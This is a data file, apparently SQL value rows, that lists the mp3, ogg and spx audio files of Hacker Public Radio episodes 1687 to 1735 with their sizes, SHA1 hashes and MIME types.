(1687,'hpr1687.mp3','mp3',9051505,'94463817009478a82982fe4959f0c4bba3fd016a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1687,'hpr1687.ogg','ogg',11039129,'0ae4da226d11825123964f480e6c3ec770b49777','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1687,'hpr1687.spx','spx',4042240,'21741954cb42ad0c808031e8ec121777660bf4d9','application/ogg; charset=binary','Ogg data, Speex audio'),
(1688,'hpr1688.mp3','mp3',5644294,'77f2d831527699faae2bc5ecc48ba59de6d085f0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1688,'hpr1688.ogg','ogg',6036124,'1b698bccaea6ee7d62abaf044801d90f1dab3050','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1688,'hpr1688.spx','spx',2520541,'6bb3437db51790dfa87d410899847ebb9ee8ad08','application/ogg; charset=binary','Ogg data, Speex audio'),
(1689,'hpr1689.mp3','mp3',4913258,'62a74bc7296915729f4c46350ce6854230a7f92d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1689,'hpr1689.ogg','ogg',5716054,'c2cb9cedc4bc0f03ad1a5714f94be5e15c7f73ef','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1689,'hpr1689.spx','spx',2194037,'2faf1c56dcc4793ea6adc5c9bbeae4ec3b6beebb','application/ogg; charset=binary','Ogg data, Speex audio'),
(1690,'hpr1690.mp3','mp3',12257599,'6c89d78526e3e28e331ac09139e6068aa47d9941','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1690,'hpr1690.ogg','ogg',11721314,'0a65be246632ee8af7d98e3003a37f68e0d5413c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1690,'hpr1690.spx','spx',5474046,'54e9e3da9ce6521b1f7c39605024ae6410b5cfec','application/ogg; charset=binary','Ogg data, Speex audio'),
(1691,'hpr1691.mp3','mp3',19360655,'2e319f2c76f4b6b2c3fd6dc5ef671e4b0cda0374','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1691,'hpr1691.ogg','ogg',18431299,'de2d4e3d1474644a37569d5eaf3d68921fa77819','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1691,'hpr1691.spx','spx',8646445,'a774ef2fa0f8ab2df39d1b17a58c450217ed7e26','application/ogg; charset=binary','Ogg data, Speex audio'),
(1692,'hpr1692.mp3','mp3',8277872,'c25882cfaf1c9a4b4855b0b43ff105e3a3b54deb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1692,'hpr1692.ogg','ogg',10033407,'0d2e0525d2d545028e92233105b9794f918e684e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1692,'hpr1692.spx','spx',3696751,'e61b95789f27efecf89e3c323ea4ab554d83e038','application/ogg; charset=binary','Ogg data, Speex audio'),
(1693,'hpr1693.mp3','mp3',10774048,'c4c250abe0d2521963b06d9990cbec93a6cf2546','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1693,'hpr1693.ogg','ogg',10012368,'5899e6018ff17b161c9da665bdad6d1e6f5247f6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1693,'hpr1693.spx','spx',4811562,'e10d168482a43d398c28388897af038dc235335f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1694,'hpr1694.mp3','mp3',10051239,'223380c0600ab8b8bca78a0921d328c52b857177','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1694,'hpr1694.ogg','ogg',10997535,'f25cb3625bc67265e1bd123d1034f8ef4bf48f8e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1694,'hpr1694.spx','spx',4488686,'204bd255a5e60ebf1580321fb1f44e703ab7cd79','application/ogg; charset=binary','Ogg data, Speex audio'),
(1695,'hpr1695.mp3','mp3',11726225,'c8d4d0a3feefdedc49607df28746a0ec57d655f9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1695,'hpr1695.ogg','ogg',14450799,'2ba846d929a44b760d1e3673e5771a6fe4bf2a3b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1695,'hpr1695.spx','spx',5236805,'4cd69cc1425431b007fe7f904fccafa9a8285a99','application/ogg; charset=binary','Ogg data, Speex audio'),
(1696,'hpr1696.mp3','mp3',28745494,'55e85ddb307d3ab857323f724fd341abcfb5e91b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1696,'hpr1696.ogg','ogg',30307654,'cc3b13a5e139249054d058c2024b4facc786ee42','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1696,'hpr1696.spx','spx',12837772,'4ae936006900cbbe598381d0684822de50b37268','application/ogg; charset=binary','Ogg data, Speex audio'),
(1697,'hpr1697.mp3','mp3',23301013,'01565b71b39d1e94e15bdf431ca126a92399388f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1697,'hpr1697.ogg','ogg',26173443,'436da6495403a4056dd655b2dfb864d8c9d4d3a9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1697,'hpr1697.spx','spx',10406225,'1a8ee2f580d326380ad66842b01b75bb8bfe81e5','application/ogg; charset=binary','Ogg data, Speex audio'),
(1698,'hpr1698.mp3','mp3',20789644,'e03872de523cfdd3352c8f3e193673d152ce6ba4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1698,'hpr1698.ogg','ogg',24293407,'06b974a6e0d08ab78724e7e49d7e7f7559c0deea','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1698,'hpr1698.spx','spx',9284637,'192ccdf3fe0180e4af2e4543d6f1342671ee304e','application/ogg; charset=binary','Ogg data, Speex audio'),
(1699,'hpr1699.mp3','mp3',21738199,'258005a0abd272aac7074632c2522aa23f539b0f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1699,'hpr1699.ogg','ogg',24758245,'46f1c40683d714f912d68199c456f321269ab9d9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1699,'hpr1699.spx','spx',9708221,'7822c52b5beccd64d4e2f2557557b1813cac01d1','application/ogg; charset=binary','Ogg data, Speex audio'),
(1700,'hpr1700.mp3','mp3',4954906,'df404a923b1489385be118abb0d188f330bc3bd5','audio/mpeg; charset=binary','MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1700,'hpr1700.ogg','ogg',4606204,'984060f94b71affea93c12d2fc266b8aaf9aa6e3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1700,'hpr1700.spx','spx',3908741,'7fe5b588f767f033f3fa68895bbc23887ce7385c','application/ogg; charset=binary','Ogg data, Speex audio'),
(1701,'hpr1701.mp3','mp3',20126150,'af5f4f91d8fed4ad43daa2d8930944c7b38da727','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1701,'hpr1701.ogg','ogg',22581864,'f95d5883049c04d4534510456aebe967423e1308','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1701,'hpr1701.spx','spx',8988299,'4b1d53f032428069fe3c568423e7e05bb42d54a0','application/ogg; charset=binary','Ogg data, Speex audio'),
(1702,'hpr1702.mp3','mp3',30846175,'443180470072168a01c903b86be9be11ab34c769','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1702,'hpr1702.ogg','ogg',35040104,'b5fe944d84270012cee9e2cacfbdcda1c8818509','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1702,'hpr1702.spx','spx',13775970,'ddb4bbad74be3a06c5a506978e4d37e74984fcc9','application/ogg; charset=binary','Ogg data, Speex audio'),
(1703,'hpr1703.mp3','mp3',12135179,'bac2c353d7d462a84902a2481779c98db055de6f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1703,'hpr1703.ogg','ogg',13902535,'e32ab920ea2a7ac444ae5bdd2b86d089a72fce9f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1703,'hpr1703.spx','spx',5419423,'3b186ff78b08bdabf32146d60f3615e27ae5c5f5','application/ogg; charset=binary','Ogg data, Speex audio'),
(1704,'hpr1704.mp3','mp3',11832156,'411446b425bbd9b157541ce4fd351471a85cbb3b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1704,'hpr1704.ogg','ogg',13386674,'00fa0f3da4866d2cd5c3b8a36e5a8c3299571fd4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1704,'hpr1704.spx','spx',5284154,'e2b1a6790553b8ba8983f98bac190e616487e159','application/ogg; charset=binary','Ogg data, Speex audio'),
(1705,'hpr1705.mp3','mp3',10247722,'b144ced96d889057c8000c902aae276006c09cbd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1705,'hpr1705.ogg','ogg',12515056,'fe034e9d32929c6674672377e9f4ae62757c955c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1705,'hpr1705.spx','spx',4576483,'48f95c8480017aab3f95b5ce84353f285e0b4cd7','application/ogg; charset=binary','Ogg data, Speex audio'),
(1706,'hpr1706.mp3','mp3',12356895,'8e588bb60ac0db6c78bd7d40fdc0c2ba407477f0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1706,'hpr1706.ogg','ogg',12621763,'a5dca1623e5637f607e884af9dd0acfd524a1e54','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1706,'hpr1706.spx','spx',5518439,'ba13bd3848759ef9278bcd3a344d4148cbe397d5','application/ogg; charset=binary','Ogg data, Speex audio'),
(1707,'hpr1707.mp3','mp3',22067779,'5a5ac8b8ac53fa7a47c98b6ac135ea4ee1ffcc2a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1707,'hpr1707.ogg','ogg',23286587,'a34950bfe140d8c66c50a53a8a77e0e608ca476f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1707,'hpr1707.spx','spx',9855374,'05957a891de3b49091b0741335a6356024a9aa1b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1708,'hpr1708.mp3','mp3',5025240,'3459d8b080c8f4fe0c2b3b23c0fff8bc3e1a22ae','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1708,'hpr1708.ogg','ogg',5627293,'515f516f0208e33940fb6be9b04b142f31d965a3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1708,'hpr1708.spx','spx',2244029,'379e0d2d5b3c58aa917b57cdc5daaa21e15b3325','application/ogg; charset=binary','Ogg data, Speex audio'),
(1709,'hpr1709.mp3','mp3',9458935,'843c710541b38b1823ea1bef9c70f7f4179e677d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1709,'hpr1709.ogg','ogg',10754837,'e54ebea791b6f9bf0136745d3faf9205516d61bc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1709,'hpr1709.spx','spx',4224157,'a5847b986bcca25f486ed36b4f1c9dcf9e712fe8','application/ogg; charset=binary','Ogg data, Speex audio'),
(1710,'hpr1710.mp3','mp3',4950481,'cdae3b53d65808f26d07405d0b9590a766d951c4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1710,'hpr1710.ogg','ogg',5509628,'dca8ee1c182651e7d23e50c1dcacbf665be5c89f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1710,'hpr1710.spx','spx',2210642,'8204b89d67a9252a3cfb4183d8699ce109da5442','application/ogg; charset=binary','Ogg data, Speex audio'),
(1711,'hpr1711.mp3','mp3',6130170,'f5485e456f40004a1db8c1b0d4792b65b011067d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1711,'hpr1711.ogg','ogg',6334190,'ac1f9ce682ad58531adc527cc001444844433f40','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1711,'hpr1711.spx','spx',2737570,'7a7a89dca5242aa65058ed8841f03a0788af83e6','application/ogg; charset=binary','Ogg data, Speex audio'),
(1712,'hpr1712.mp3','mp3',9312904,'e6f389b947cbf895e8711bdeabfd014e0974d0fd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1712,'hpr1712.ogg','ogg',9455633,'f670bd6bc4b60a0eaee9532041abed7984f2ac1e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1712,'hpr1712.spx','spx',4158976,'9092d07c4a00243849899a348db986931a8aaceb','application/ogg; charset=binary','Ogg data, Speex audio'),
(1713,'hpr1713.mp3','mp3',8702298,'60b972ddde39c97923cbaeead4d606b659c416f5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1713,'hpr1713.ogg','ogg',9566671,'f0a73d0a01689741778e6b4fc098858e0f80bf74','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1713,'hpr1713.spx','spx',3886317,'605911000a84448f8e54754d5caf2fc376599748','application/ogg; charset=binary','Ogg data, Speex audio'),
(1714,'hpr1714.mp3','mp3',8029736,'e17bf7981337b2ba33ab98c239accff692406ce4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1714,'hpr1714.ogg','ogg',8790567,'6bee197816b1a8168458586f6c4e56a4aef26a33','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1714,'hpr1714.spx','spx',3585850,'9c2517e598c31b6c32c537347a632be55a3e1063','application/ogg; charset=binary','Ogg data, Speex audio'),
(1715,'hpr1715.mp3','mp3',6734104,'51f777e4831777c094ba2ed5234e95407d9a1d45','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1715,'hpr1715.ogg','ogg',8061334,'75d8d144e3b9698169139dea3136a3047b5927c3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1715,'hpr1715.spx','spx',3007235,'8eb59a0aed841ba487b99113f0e84b2dbc30d311','application/ogg; charset=binary','Ogg data, Speex audio'),
(1716,'hpr1716.mp3','mp3',41881984,'3aaf7acfe13d4b49975515c7aaf382b8d4379cda','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1716,'hpr1716.ogg','ogg',38796132,'8e1f43fd7f55d8da05fa319abf541066d059ec96','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1716,'hpr1716.spx','spx',18704630,'8f995b96cac45d347c9967655da2c73bae560cbc','application/ogg; charset=binary','Ogg data, Speex audio'),
(1717,'hpr1717.mp3','mp3',4970273,'4bfffbbb8296b09279276f20d326704ac308f5ab','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1717,'hpr1717.ogg','ogg',5257134,'fd5a377ebce75e93b76ecc75099de5cfced4847c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1717,'hpr1717.spx','spx',2219509,'a49aa5c56e2c1b25aa4ba11db02bbe2da604ebd4','application/ogg; charset=binary','Ogg data, Speex audio'),
(1718,'hpr1718.mp3','mp3',12181136,'3ac12815e57df3bc37b9e87ef076f710bb1c4fcf','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1718,'hpr1718.ogg','ogg',12600723,'2c201efa8475271bba24bfaa18f6892290c1e7c8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1718,'hpr1718.spx','spx',5439917,'a4d5701f201abb45e7303cc41499ae6ed0875b45','application/ogg; charset=binary','Ogg data, Speex audio'),
(1719,'hpr1719.mp3','mp3',6254244,'e41e936d37150a2ccdba3e4c72fbf041e2867594','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1719,'hpr1719.ogg','ogg',6857379,'56b0a8a3fdccd667cfc489057350eb42f813f29d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1719,'hpr1719.spx','spx',2792956,'49179e5bb8a87d3537dcfdfafe67ac27b381fae9','application/ogg; charset=binary','Ogg data, Speex audio'),
(1720,'hpr1720.mp3','mp3',8266777,'dc17c93cebdf203ba71725c254596ae99e08fc1f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1720,'hpr1720.ogg','ogg',10110791,'94b0f4ac8c9e8a7592aac73c8242b4d7939fa37f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1720,'hpr1720.spx','spx',3691735,'1b964b96ebe075254443e36f94c7d0dea46db236','application/ogg; charset=binary','Ogg data, Speex audio'),
(1721,'hpr1721.mp3','mp3',22149267,'b6ad4d2d0e5f2debdddfa8a0721c56cb7967113d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1721,'hpr1721.ogg','ogg',22542044,'1ef1f7a00ea5bbc24b6e561bd3e2782578a686d0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1721,'hpr1721.spx','spx',9891884,'2c6e927bc9eb3931f7a9284aa69c416e062288b2','application/ogg; charset=binary','Ogg data, Speex audio'),
(1722,'hpr1722.mp3','mp3',2456098,'de93edd4923521692230bf4d151aaebb39cbbd58','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1722,'hpr1722.ogg','ogg',2830122,'5cf6d419f05c5f75691471411ccce4f879475a06','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1722,'hpr1722.spx','spx',1096692,'aede0f745350e13e31b52729b5ad5c7fb5577b98','application/ogg; charset=binary','Ogg data, Speex audio'),
(1723,'hpr1723.mp3','mp3',12112421,'d92ac5b9306a96fa716a0ba9225d98ba0883b529','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1723,'hpr1723.ogg','ogg',14010819,'e72bc5122d6f0696337f33a5e63ee5d8bac4c151','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1723,'hpr1723.spx','spx',5409210,'de3944d34050d1882ebe76e4373ebf02f1e424e1','application/ogg; charset=binary','Ogg data, Speex audio'),
(1724,'hpr1724.mp3','mp3',11789070,'fa85dd731e3abfc6c925e177317b63fe0f7c3636','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1724,'hpr1724.ogg','ogg',12919697,'f97b1520ff872affb574d8debf7ddeb31089d7fc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1724,'hpr1724.spx','spx',5264883,'70144a4e9c8638105cabbaecf3ecf7729051eb6f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1725,'hpr1725.mp3','mp3',6278568,'29a7bd180262645e996fcda53e17aec2d2833dd9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1725,'hpr1725.ogg','ogg',7593573,'a38650605d30111347964129758655b70194ede9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1725,'hpr1725.spx','spx',2803814,'2c334698690d7475930c45ffbb7f88e6261c571b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1726,'hpr1726.mp3','mp3',7823350,'f3a4f023f59708c863e2d08d7b8168937be85ff6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1726,'hpr1726.ogg','ogg',9073139,'f6a58e716e02bdb302d179a12b1a2358d9c442eb','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1726,'hpr1726.spx','spx',3493681,'796e92cbd559a778a72f8aedb2e46d473ffff30b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1727,'hpr1727.mp3','mp3',14698299,'8b8024b90db106666245dd0cea1828f1d1b00489','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1727,'hpr1727.ogg','ogg',15587211,'6c1477096e59d54917a40055886ce721beadf66a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1727,'hpr1727.spx','spx',6564075,'2603caa76f34acafeb28203a42a9c000320cc68a','application/ogg; charset=binary','Ogg data, Speex audio'),
(1728,'hpr1728.mp3','mp3',9932949,'dfaba2e845521e317fcd95c95547c71fa2a791bb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1728,'hpr1728.ogg','ogg',11178079,'0b181a4f6d50be1048c840db7183497b1f63e48d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1728,'hpr1728.spx','spx',4435885,'bb3d8966a615f9594555b880a23e334286dffbd2','application/ogg; charset=binary','Ogg data, Speex audio'),
(1729,'hpr1729.mp3','mp3',7157939,'cd6c14c6524eab6099adbb727ec04709e05a5ed1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1729,'hpr1729.ogg','ogg',7648001,'bf99bec036f917902123314734a41b1af6566fc2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1729,'hpr1729.spx','spx',3196553,'048a37eeeed6613071217bc624211b4658cacf94','application/ogg; charset=binary','Ogg data, Speex audio'),
(1730,'hpr1730.mp3','mp3',17935869,'efe98cc745528b30dd215a1882d2767a76cc652a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1730,'hpr1730.ogg','ogg',20828047,'9137fb0b050fcfaae72c960a962ba895f68b187b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1730,'hpr1730.spx','spx',8010079,'60ff5bf9fd9b4e679755f650a00aa2d4a1cda907','application/ogg; charset=binary','Ogg data, Speex audio'),
(1731,'hpr1731.mp3','mp3',5254094,'bec76cc54ba0b6283ad22fc517656c2433b869f9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1731,'hpr1731.ogg','ogg',5276901,'8fd01f12640656d754680862d57379458867f7c6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1731,'hpr1731.spx','spx',2346300,'51d7b0c2c9956021f55a2c3b6cc38d6933dfd227','application/ogg; charset=binary','Ogg data, Speex audio'),
(1732,'hpr1732.mp3','mp3',15646928,'268f8c362212419b4e30caffdd3468144cf5bed4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1732,'hpr1732.ogg','ogg',20151366,'46e22f2764d260fcb5275eea41c32f981c4da8f6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1732,'hpr1732.spx','spx',6987831,'600f3c7db6c3977cc81f5417093f6cbc9fb4f08b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1733,'hpr1733.mp3','mp3',33570240,'49aafa44450346d73a328613cad990740efaa296','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1733,'hpr1733.ogg','ogg',33815021,'9e806f94cb26d64a3adc2a45019d8795454a9cf5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1733,'hpr1733.spx','spx',14992537,'bbd77122add1fe80e3d1cb231468af0daa85ba04','application/ogg; charset=binary','Ogg data, Speex audio'),
(1734,'hpr1734.mp3','mp3',11988646,'4ba84e0faca5fee34700dd6a6cd6e786c5b9d739','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1734,'hpr1734.ogg','ogg',13488449,'21c6793a576602790056d07d5c7f93fda3d97f95','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1734,'hpr1734.spx','spx',5353987,'46f175219f82c62423321bf63f1cbbc24f9f262d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1735,'hpr1735.mp3','mp3',6780290,'364face17e76ef135339b69c252d2d549828384c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
